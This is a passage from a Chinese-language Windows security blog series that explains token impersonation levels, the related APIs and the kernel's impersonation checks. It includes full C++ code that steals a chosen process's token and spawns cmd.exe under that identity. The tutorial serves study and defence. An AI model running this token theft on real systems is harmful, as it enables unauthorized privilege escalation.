iT邦幫忙

2023 iThome 鐵人賽

DAY 16
2
Security

Windows Security 101系列 第 16

[Day16] Token & Object (Part 3): Impersonate

  • 分享至 

  • xImage
  •  

在 Winows 中,Token Impersonate 是將 token 複製一份給別的 thread 使用,該 thread 便可以以 token 中的 security context 進行操作。

使用到的場景會是 client 在使用某個 server 提供的 service 時,會需要 service 以 client 的 security context 存取 service 需要的資源。

Token Access Rights

在使用 Token 的時候會先需要啟用 Access Rights 才能有特殊操作權限

https://ithelp.ithome.com.tw/upload/images/20230929/20120098TqJie5oVYo.png
(ref: https://www.slideshare.net/Shakacon/social-engineering-the-windows-kernel-by-james-forshaw)

Impersonation Security Level

在本系列的第一篇有提到 token 只有兩種:Primary Token 和 Impersonation Token。而 Impersonation token 即使在 Impersonate 成功取得 token 後,還是有區分出不同 Impersonation Level 表示該 Impersonation token 的模擬程度。

根據 csandker 的文章,Impersonation Level 由低至高可以分為4種:

  • Anonymous
    • Impersonate Token 不會有 client 任何訊息,只支援 IPC
  • Identification
    • default
    • Impersonate Token 會有 client 的 identity,但沒辦法以此存取 resource
  • Impersonation
    • Impersonate Token 會有 client 的 security context
      • 如果 client 是 local,可以存取 local 和 remote 的 Resource
      • 如果 client 是 remote,只能存取同一台 machine 的 Resource
  • Delegation
    • Impersonate Token 會有 client 的 security context,可以存取所有 Resource

https://ithelp.ithome.com.tw/upload/images/20230929/20120098yOZV7Ulndq.png
(ref: https://www.slideshare.net/Shakacon/social-engineering-the-windows-kernel-by-james-forshaw)

其中 Impersonation 和 Identification 會是後面 Token Impersonate 檢查來判斷該給予何種 Impersonation Level。

接著介紹一些 Token Impersonate 會用到的API。

Important APIs

以下介紹在最一般的情況下,一個 thread 想要 impersonate token 需要用到的 APIs。

DuplicateTokenEx

DuplicateTokenEx 可以複製現有的 token 並建立一個新的 token,也就是 Impersonate Token。

TokenType 可以是 Primary Token 或 Impersonation Token。

BOOL DuplicateTokenEx(
  [in]           HANDLE                       hExistingToken,
  [in]           DWORD                        dwDesiredAccess,
  [in, optional] LPSECURITY_ATTRIBUTES        lpTokenAttributes,
  [in]           SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
  [in]           TOKEN_TYPE                   TokenType,
  [out]          PHANDLE                      phNewToken
);

ImpersonateLoggedOnUser

ImpersonateLoggedOnUser 也是 Impersonation Token 會用到的 API,會切換 LoggedOnUser。

BOOL ImpersonateLoggedOnUser(
  [in] HANDLE hToken
);
  • 如果是 Primary Token,那麼該 token 必須要有 TOKEN_QUERY 和 TOKEN_DUPLICATE 的 access right。
  • 如果是 impersonation token,那麼該 token 必須要有 TOKEN_QUERY 和 TOKEN_IMPERSONATE 的 access right。
  • 整個 Impersonation 會在呼叫 RevertToSelf 之後才結束。

RevertToSelf

RevertToSelf 是用來還原 thread 本身 token 有的 security context。

BOOL RevertToSelf();

Token Impersonate (SeTokenCanImpersonate)

我們可以從這張圖來認識攻擊者在進行 Token Impersonate 時,需要通過的檢查

https://ithelp.ithome.com.tw/upload/images/20230929/20120098v46azMytUD.png

這張圖是我在今年的 CYBERSEC 演講中有用到的圖,主要是根據 James Forshaw 的演講修改而成。我新增了左邊的部分是攻擊者會先檢視要攻擊的服務,之後才會檢查是否可以 Token Impersonation

SeTokenCanImpersonate 主要會需要通過以下檢查:

1. Check Token Impersonate Level

檢查 Token 的 Impersonate Level 是否有 Impersonation Level 以上:

  • 是,回傳 Impersonate Level 的 Impersonation Token
  • 否,進行後續的檢查

2. Check Privilege

檢查 Token 的 Privilege 是否有 SeImpersonatePrivilege:

  • 是,回傳 Impersonate Level 的 Impersonation Token
  • 否,進行後續的檢查

3. Check Integrity Level

檢查 Process 的 Integrity Level 是否大於 Token 的 Integrity Level:

  • 是,回傳 Identification Level 的 Impersonation Token
  • 否,進行後續的檢查

4. Check User

檢查 Process 的 User 是否和 Token 的 User 相同:

  • 是,回傳 Impersonate Level 的 Impersonation Token
  • 否,進行後續的檢查

[TODO] 還有一些檢查後續會補上 (e.g., capability check, elevation check, session id check)

Identification Token

從圖中也可以看到如果沒有 Impersonate 成功,還是會回傳 Identification Level 的 Impersonation Token。這個 Token 是合法 Token 但是少了許多權限。James Forshaw 的研究也發現這種 Identification Token 還是可以用來通過很多檢查不確實的 API。

Implementation

這篇文章 的 sample code 為例,這個 token impersonation 方法很常出現在攻擊的實作。

#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
	HANDLE hToken,          // access token handle
	LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
	BOOL bEnablePrivilege   // to enable or disable privilege
)
{
	TOKEN_PRIVILEGES tp;
	LUID luid;
	if (!LookupPrivilegeValue(
		NULL,            // lookup privilege on local system
		lpszPrivilege,   // privilege to lookup
		&luid))        // receives LUID of privilege
	{
		printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
		return FALSE;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	if (bEnablePrivilege)
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	else
		tp.Privileges[0].Attributes = 0;
	// Enable the privilege or disable all privileges.
	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&tp,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
		return FALSE;
	}
	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
	{
		printf("[-] The token does not have the specified privilege. \n");
		return FALSE;
	}
	return TRUE;
}
std::string get_username()
{
	TCHAR username[UNLEN + 1];
	DWORD username_len = UNLEN + 1;
	GetUserName(username, &username_len);
	std::wstring username_w(username);
	std::string username_s(username_w.begin(), username_w.end());
	return username_s;
}
int main(int argc, char** argv) {
	// Print whoami to compare to thread later
	printf("[+] Current user is: %s\n", (get_username()).c_str());
	// Grab PID from command line argument
	char* pid_c = argv[1];
	DWORD PID_TO_IMPERSONATE = atoi(pid_c);
	// Initialize variables and structures
	HANDLE tokenHandle = NULL;
	HANDLE duplicateTokenHandle = NULL;
	STARTUPINFO startupInfo;
	PROCESS_INFORMATION processInformation;
	ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
	ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
	startupInfo.cb = sizeof(STARTUPINFO);
	// Add SE debug privilege
	HANDLE currentTokenHandle = NULL;
	BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
	if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
	{
		printf("[+] SeDebugPrivilege enabled!\n");
	}
	// Call OpenProcess(), print return code and error code
	HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
	if (GetLastError() == NULL)
		printf("[+] OpenProcess() success!\n");
	else
	{
		printf("[-] OpenProcess() Return Code: %i\n", processHandle);
		printf("[-] OpenProcess() Error: %i\n", GetLastError());
	}
	// Call OpenProcessToken(), print return code and error code
	BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
	if (GetLastError() == NULL)
		printf("[+] OpenProcessToken() success!\n");
	else
	{
		printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
		printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
	}
	// Impersonate user in a thread
	BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
	if (GetLastError() == NULL)
	{
		printf("[+] ImpersonatedLoggedOnUser() success!\n");
		printf("[+] Current user is: %s\n", (get_username()).c_str());
		printf("[+] Reverting thread to original user context\n");
		RevertToSelf();
	}
	else
	{
		printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
		printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
	}
	// Call DuplicateTokenEx(), print return code and error code
	BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
	if (GetLastError() == NULL)
		printf("[+] DuplicateTokenEx() success!\n");
	else
	{
		printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
		printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
	}
	// Call CreateProcessWithTokenW(), print return code and error code
	BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
	if (GetLastError() == NULL)
		printf("[+] Process spawned!\n");
	else
	{
		printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
		printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
	}
	return 0;
}

步驟可以分為:

  • 啟用 SeDebugPrivilege
  • 取得 process token
  • 查看 token 的 user
    • Impersonate 已登入使用者的 security context
    • 還原原本的 security context
  • duplicate token
  • CreateProcessWithTokenW

以上就是 Token & Object 大致的介紹,下一篇我要介紹的是 User Access Control (UAC)!

References


上一篇
[Day15] Token & Object (Part 2): Access Check
下一篇
[Day17] User Account Control (UAC)
系列文
Windows Security 10130
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言